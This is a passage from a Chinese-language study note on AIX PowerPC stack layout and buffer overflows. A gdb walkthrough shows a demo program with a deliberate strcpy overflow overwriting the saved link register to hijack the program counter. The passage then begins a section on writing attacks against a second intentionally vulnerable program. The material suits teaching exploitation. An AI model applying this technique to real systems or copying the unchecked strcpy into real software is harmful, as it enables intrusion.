SP --->+----------------+被调函数的链接寄存器(LR)保存到8(SP)。
被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。
堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。
全局链接代码会把TOC指针保存到20(SP)的地方。参数区用来传递其它被调函数的参数。当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。它的大小在编译的时候确定,是不可修改的。寄存器区包含非易失性寄存器的值。当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。当然,被调函数返回的时候需要恢复这些寄存器的值。ia32中当函数返回时,一般都有如下三条指令:mov esp,ebp ; 堆栈指针esp指向前一个栈帧
pop ebp
ret ; 执行esp+4保存的返回地址AIX PowerPC中当函数返回时,一般有如下几条指令:lwz r1,0(r1) # 堆栈指针r1指向前一个栈帧
lwz r0,8(r1) # r0等于堆栈里保存的lr值
mtlr r0 # lr=r0
lwz r31,-4(r1) #
blr # 跳到lr执行可以看到虽然AIX PowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
* Simple program to demonstrate buffer overflows
* on the PowerPC architecture.
*/
#include <stdio.h>
#include <string.h>
char largebuff[] =
"123451234512345123451234=PRESERVEDSPACE=ABCD";
int main (void)
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}-bash-2.05b$ gcc -o simple_overflow simple_overflow.c
-bash-2.05b$ gdb -q simple_overflow
(gdb) r
Starting program: /home/san/simple_overflowProgram received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22bb0 804400048
r2 0x20000e70 536874608
r3 0x20 32
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x53455256 1397051990
pc 0x41424344 1094861636
ps 0x4000d032 1073795122
cr 0x22222842 572663874
lr 0x41424344 1094861636
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/8x $r1
0x2ff22bb0: 0x45445350 0x4143453d 0x41424344 0x00000000
0x2ff22bc0: 0x00000000 0x20000e70 0x00000000 0x00000000pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD的:(gdb) disas main
Dump of assembler code for function main:
0x1000054c <main+0>: mflr r0
0x10000550 <main+4>: stw r31,-4(r1)
0x10000554 <main+8>: stw r0,8(r1)
0x10000558 <main+12>: stwu r1,-88(r1)
0x1000055c <main+16>: mr r31,r1
0x10000560 <main+20>: addi r3,r31,56
0x10000564 <main+24>: lwz r4,80(r2)
0x10000568 <main+28>: bl 0x10006fa0 <strcpy>
0x1000056c <main+32>: nop
0x10000570 <main+36>: mr r3,r0
0x10000574 <main+40>: lwz r1,0(r1)
0x10000578 <main+44>: lwz r0,8(r1)
0x1000057c <main+48>: mtlr r0
0x10000580 <main+52>: lwz r31,-4(r1)
0x10000584 <main+56>: blr
0x10000588 <main+60>: .long 0x0
0x1000058c <main+64>: .long 0x2061
0x10000590 <main+68>: lwz r0,1(r1)
0x10000594 <main+72>: .long 0x3c
0x10000598 <main+76>: .long 0x46d61
0x1000059c <main+80>: xori r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x10000560
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflowBreakpoint 1, 0x10000560 in main ()
(gdb) display/i $pc
1: x/i $pc 0x10000560 <main+20>: addi r3,r31,56
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22b98: 0xdeadbeef 0xdeadbeef 0x20000460 0x10000000
(gdb)
0x2ff22ba8: 0x00000003 0x20000460 0x00000000 0x44222802
0x2ff22bb8: 0x100001cc 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b58是当前的堆栈指针,它指向的地址是前一个栈帧(0x2ff22bb0)。从堆栈内容来看,前一个栈帧保存的lr是0x100001cc,也就是说main函数退出后会执行到这个地址,先来看程序流程:(gdb) until *0x1000056c
0x1000056c in main ()
1: x/i $pc 0x1000056c <main+32>: nop
(gdb) i reg
r0 0x20 32
r1 0x2ff22b58 804399960
r2 0x20000e70 536874608
r3 0x2ff22b90 804400016
r4 0x20000534 536872244
r5 0x2ff22bbc 804400060
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22c00 804400128
r16 0x2ff22c08 804400136
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0x20000460 536872032
r29 0x10000000 268435456
r30 0x3 3
r31 0x2ff22b58 804399960
pc 0x1000056c 268436844
ps 0x2d032 184370
cr 0x22222842 572663874
lr 0x1000056c 268436844
ctr 0x4 4
xer 0x0 0
fpscr 0x0 0
vscr 0x0 0
vrsave 0x0 0
(gdb) x/20x $r1
0x2ff22b58: 0x2ff22bb0 0x00000000 0x00000000 0x00000000
0x2ff22b68: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b78: 0x00000000 0x00000000 0x00000000 0x00000001
0x2ff22b88: 0x00000000 0xdeadbeef 0x31323334 0x35313233
0x2ff22b98: 0x34353132 0x33343531 0x32333435 0x31323334
(gdb)
0x2ff22ba8: 0x3d505245 0x53455256 0x45445350 0x4143453d
0x2ff22bb8: 0x41424344 0x00000000 0x00000000 0x20000e70
0x2ff22bc8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd8: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be8: 0x00000000 0x00000000 0x00000000 0x00000000strcpy已经完成,前一个栈帧保存lr寄存器的内容已经改写成0x41424344,接着看程序流程:(gdb) ni
0x10000570 in main ()
1: x/i $pc 0x10000570 <main+36>: mr r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc 0x10000574 <main+40>: lwz r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc 0x10000578 <main+44>: lwz r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc 0x1000057c <main+48>: mtlr r0
(gdb)
0x10000580 in main ()
1: x/i $pc 0x10000580 <main+52>: lwz r31,-4(r1)
(gdb)
0x10000584 in main ()
1: x/i $pc 0x10000584 <main+56>: blr
(gdb)这几步指令的功能在前面已经说过了,就是main函数在退出的时候会切换到前一个栈帧,并且把r1+8的内容保存到lr寄存器,然后跳到lr寄存器执行。五、学习如何攻击AIX PowerPC的溢出程序了解了溢出流程后,我们可以来试试如何写攻击程序:-bash-2.05b$ cat vulnerable.c
/* vulnerable.c
*
* Vulnerable program on the PowerPC architecture.
*/#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("\n%s\n", vulnbuff);
getchar(); /* for debug */
}-bash-2.05b$ gcc -o vulnerable vulnerable.cAIX和其它架构的操作系统一样,也有USER_UPPER(栈底),它的地址是0x2ff22fff,大致的堆栈结构如下:栈底
+----------------+ 0x2ff22fff
关键词:AIX PowerPC体系结构及其溢出技术学习笔记